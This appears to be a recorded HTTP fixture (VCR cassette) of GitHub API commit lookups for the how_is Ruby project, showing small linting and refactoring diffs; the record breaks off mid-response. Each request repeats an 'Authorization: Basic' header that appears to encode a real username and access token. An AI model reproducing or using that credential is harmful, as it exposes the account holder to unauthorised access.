X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 6ED6:33B4:2988EB:5279D0:5CC36AE7 body: encoding: ASCII-8BIT string: '{"sha":"0022c30ee8f995d8ab55d5d6234ea37e840b53b0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDAyMmMzMGVlOGY5OTVkOGFiNTVkNWQ2MjM0ZWEzN2U4NDBiNTNiMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:02:09Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:02:09Z"},"message":"Merge pull request #175 from olleolleolle/patch-3\n\nInclude name of rules in RuboCop output","tree":{"sha":"1a6d5de8e2eac1d1be2faf15f3d607926e3aa479","url":"https://api.github.com/repos/how-is/how_is/git/trees/1a6d5de8e2eac1d1be2faf15f3d607926e3aa479"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","html_url":"https://github.com/how-is/how_is/commit/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568"},{"sha":"73dc4d3a99b07582b976ccfc71ced31129e43955","url":"https://api.github.com/repos/how-is/how_is/commits/73dc4d3a99b07582b976ccfc71ced31129e43955","html_url":"https://github.com/how-is/how_is/commit/73dc4d3a99b07582b976ccfc71ced31129e43955"}],"stats":{"total":2,"additions":2,"deletions":0},"files":[{"sha":"5a9c61df4787a83add6b10c0b328becf123e1848","filename":".rubocop.yml","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/0022c30ee8f995d8ab55d5d6234ea37e840b53b0/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/0022c30ee8f995d8ab55d5d6234ea37e840b53b0/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=0022c30ee8f995d8ab55d5d6234ea37e840b53b0","patch":"@@ -1,4 +1,6 @@\n AllCops:\n+ DisplayCopNames: true\n+ DisplayStyleGuide: true\n TargetRubyVersion: 2.3\n Exclude:\n - ''how_is.gemspec''"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:39 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/513d0082b1616f35517f0f56deb1aa976858e251 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3374' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c5f12319ebf2b3ea785559e4e7c2a063" Last-Modified: - Sun, 16 Jul 2017 14:38:22 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 1D24:5F6A:AC22C:1AD6E5:5CC36AE7 body: encoding: ASCII-8BIT string: '{"sha":"513d0082b1616f35517f0f56deb1aa976858e251","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTEzZDAwODJiMTYxNmYzNTUxN2YwZjU2ZGViMWFhOTc2ODU4ZTI1MQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:38:22Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:38:22Z"},"message":"Avoid too long block","tree":{"sha":"75f650e05a1c1e44e3ee30c15ffc15ad8df9c341","url":"https://api.github.com/repos/how-is/how_is/git/trees/75f650e05a1c1e44e3ee30c15ffc15ad8df9c341"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/513d0082b1616f35517f0f56deb1aa976858e251","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/513d0082b1616f35517f0f56deb1aa976858e251","html_url":"https://github.com/how-is/how_is/commit/513d0082b1616f35517f0f56deb1aa976858e251","comments_url":"https://api.github.com/repos/how-is/how_is/commits/513d0082b1616f35517f0f56deb1aa976858e251/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"631cc5366b3b3ffa01add1779760c6e5acb614f0","url":"https://api.github.com/repos/how-is/how_is/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0","html_url":"https://github.com/how-is/how_is/commit/631cc5366b3b3ffa01add1779760c6e5acb614f0"}],"stats":{"total":4,"additions":3,"deletions":1},"files":[{"sha":"58c81e910dd666cc2f721cb3a699cfe19e9d2f8c","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/513d0082b1616f35517f0f56deb1aa976858e251/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/513d0082b1616f35517f0f56deb1aa976858e251/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=513d0082b1616f35517f0f56deb1aa976858e251","patch":"@@ -3,9 +3,11 @@\n require ''json''\n \n class HowIs\n+ BaseReport = Struct.new(:analysis)\n+\n ##\n # Subclasses of BaseReport represent complete reports.\n- BaseReport = Struct.new(:analysis) do\n+ class BaseReport\n def generate_report_text!\n # title, text, header, horizontal_bar_graph, etc,\n # append to @r, which is returned at the end of the function."}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:39 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3373' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"041487ad303cde6c11997b6052b80123" Last-Modified: - Sun, 16 Jul 2017 14:31:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 6594:0958:C676D:1E4D31:5CC36AE7 body: encoding: ASCII-8BIT string: '{"sha":"631cc5366b3b3ffa01add1779760c6e5acb614f0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjMxY2M1MzY2YjNiM2ZmYTAxYWRkMTc3OTc2MGM2ZTVhY2I2MTRmMA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:31:42Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:31:42Z"},"message":"Linting","tree":{"sha":"c928c3474c7fc4d2ad7afa743fccf89fd4ada89a","url":"https://api.github.com/repos/how-is/how_is/git/trees/c928c3474c7fc4d2ad7afa743fccf89fd4ada89a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0","html_url":"https://github.com/how-is/how_is/commit/631cc5366b3b3ffa01add1779760c6e5acb614f0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/631cc5366b3b3ffa01add1779760c6e5acb614f0/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568"}],"stats":{"total":21,"additions":8,"deletions":13},"files":[{"sha":"bb9e09a8971545e5345c4e4a722fa2c9d22fa827","filename":"exe/how_is","status":"modified","additions":6,"deletions":11,"changes":17,"blob_url":"https://github.com/how-is/how_is/blob/631cc5366b3b3ffa01add1779760c6e5acb614f0/exe/how_is","raw_url":"https://github.com/how-is/how_is/raw/631cc5366b3b3ffa01add1779760c6e5acb614f0/exe/how_is","contents_url":"https://api.github.com/repos/how-is/how_is/contents/exe/how_is?ref=631cc5366b3b3ffa01add1779760c6e5acb614f0","patch":"@@ -8,11 +8,9 @@ require \"how_is/cli\"\n begin\n result = HowIs::CLI.parse(ARGV)\n rescue HowIs::CLI::OptionsError => e\n- if ENV[''SHOW_TRACE'']\n- raise\n- else\n- abort \"Error: #{e.message}\"\n- end\n+ raise if ENV[''SHOW_TRACE'']\n+\n+ abort \"Error: #{e.message}\"\n end\n \n options = result[:options]\n@@ -45,10 +43,7 @@ begin\n )\n end\n rescue => e\n- if ENV[''SHOW_TRACE'']\n- raise\n- else\n- abort \"Error: #{e.message}\"\n- end\n-end\n+ raise if ENV[''SHOW_TRACE'']\n \n+ abort \"Error: #{e.message}\"\n+end"},{"sha":"824fd0be706c2884b906708c5337d70369422d74","filename":"lib/how_is/fetcher.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/631cc5366b3b3ffa01add1779760c6e5acb614f0/lib/how_is/fetcher.rb","raw_url":"https://github.com/how-is/how_is/raw/631cc5366b3b3ffa01add1779760c6e5acb614f0/lib/how_is/fetcher.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/fetcher.rb?ref=631cc5366b3b3ffa01add1779760c6e5acb614f0","patch":"@@ -15,7 +15,7 @@ class Fetcher\n #\n # Implemented as a class instead of passing around a Hash so that it can\n # be more easily referenced by Contracts.\n- class Results < Struct.new(:repository, :issues, :pulls, :pulse)\n+ Results = Struct.new(:repository, :issues, :pulls, :pulse) do\n include Contracts::Core\n \n Contract String, C::ArrayOf[Hash], C::ArrayOf[Hash], String => nil"},{"sha":"c4a043258c642f91a4f63edd29d2e34817c7ea42","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/631cc5366b3b3ffa01add1779760c6e5acb614f0/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/631cc5366b3b3ffa01add1779760c6e5acb614f0/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=631cc5366b3b3ffa01add1779760c6e5acb614f0","patch":"@@ -5,7 +5,7 @@\n class HowIs\n ##\n # Subclasses of BaseReport represent complete reports.\n- class BaseReport < Struct.new(:analysis)\n+ BaseReport = Struct.new(:analysis) do\n def generate_report_text!\n # title, text, header, horizontal_bar_graph, etc,\n # append to @r, which is returned at the end of the function."}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:39 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/117d54a5908e397d5dcc7a71960c357970febbbc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3372' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"78ca7f0e1d6ddd8b9fdcee5f451646ad" Last-Modified: - Sun, 16 Jul 2017 14:13:36 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - A2A0:5096:29706B:53F166:5CC36AE7 body: encoding: ASCII-8BIT string: '{"sha":"117d54a5908e397d5dcc7a71960c357970febbbc","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTE3ZDU0YTU5MDhlMzk3ZDVkY2M3YTcxOTYwYzM1Nzk3MGZlYmJiYw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:13:36Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T14:13:36Z"},"message":"Pulse: refactor to avoid RuboCop issues","tree":{"sha":"52d43860c6fcd9c976f761ccde333d3dc849fc28","url":"https://api.github.com/repos/how-is/how_is/git/trees/52d43860c6fcd9c976f761ccde333d3dc849fc28"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/117d54a5908e397d5dcc7a71960c357970febbbc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/117d54a5908e397d5dcc7a71960c357970febbbc","html_url":"https://github.com/how-is/how_is/commit/117d54a5908e397d5dcc7a71960c357970febbbc","comments_url":"https://api.github.com/repos/how-is/how_is/commits/117d54a5908e397d5dcc7a71960c357970febbbc/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"abd524228a42a08041e53d7dc7495f48c23c3296","url":"https://api.github.com/repos/how-is/how_is/commits/abd524228a42a08041e53d7dc7495f48c23c3296","html_url":"https://github.com/how-is/how_is/commit/abd524228a42a08041e53d7dc7495f48c23c3296"}],"stats":{"total":35,"additions":18,"deletions":17},"files":[{"sha":"a8679c512f23dbf1a7d88ca48a4646706b207093","filename":"lib/how_is/pulse.rb","status":"modified","additions":18,"deletions":17,"changes":35,"blob_url":"https://github.com/how-is/how_is/blob/117d54a5908e397d5dcc7a71960c357970febbbc/lib/how_is/pulse.rb","raw_url":"https://github.com/how-is/how_is/raw/117d54a5908e397d5dcc7a71960c357970febbbc/lib/how_is/pulse.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/pulse.rb?ref=117d54a5908e397d5dcc7a71960c357970febbbc","patch":"@@ -14,30 +14,31 @@ def initialize(repository)\n @pulse_page_response = fetch_pulse!(repository)\n end\n \n- # This is probably dead code.\n- def text_summary\n- raise NotImplementedError\n- end\n-\n # Gets the HTML Pulse summary.\n def html_summary\n- parts =\n- @pulse_page_response.body\n- .split('''').first.strip\n+ end\n+\n # Fetch Pulse page from GitHub for scraping.\n def fetch_pulse!(repository)\n Tessellator::Fetcher.new.call(''get'', \"https://github.com/#{repository}/pulse/monthly\")"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:40 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/abd524228a42a08041e53d7dc7495f48c23c3296 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3371' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"498cce2c72e987c921793c927e292933" Last-Modified: - Sun, 16 Jul 2017 11:37:39 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 6A2F:2028:206812:47A61F:5CC36AE8 body: encoding: ASCII-8BIT string: '{"sha":"abd524228a42a08041e53d7dc7495f48c23c3296","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWJkNTI0MjI4YTQyYTA4MDQxZTUzZDdkYzc0OTVmNDhjMjNjMzI5Ng==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:37:39Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:37:39Z"},"message":"Typo","tree":{"sha":"dcbf616cefca1ebed2cfeb72002ce89c3284b03c","url":"https://api.github.com/repos/how-is/how_is/git/trees/dcbf616cefca1ebed2cfeb72002ce89c3284b03c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/abd524228a42a08041e53d7dc7495f48c23c3296","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/abd524228a42a08041e53d7dc7495f48c23c3296","html_url":"https://github.com/how-is/how_is/commit/abd524228a42a08041e53d7dc7495f48c23c3296","comments_url":"https://api.github.com/repos/how-is/how_is/commits/abd524228a42a08041e53d7dc7495f48c23c3296/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"e9198ad7fbb7804f18ae0451820ecf43de376d9a","url":"https://api.github.com/repos/how-is/how_is/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a","html_url":"https://github.com/how-is/how_is/commit/e9198ad7fbb7804f18ae0451820ecf43de376d9a"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"47def880706a0f7bd4d7de6b2d9a189708133d06","filename":"spec/how_is_spec.rb","status":"modified","additions":1,"deletions":1,"c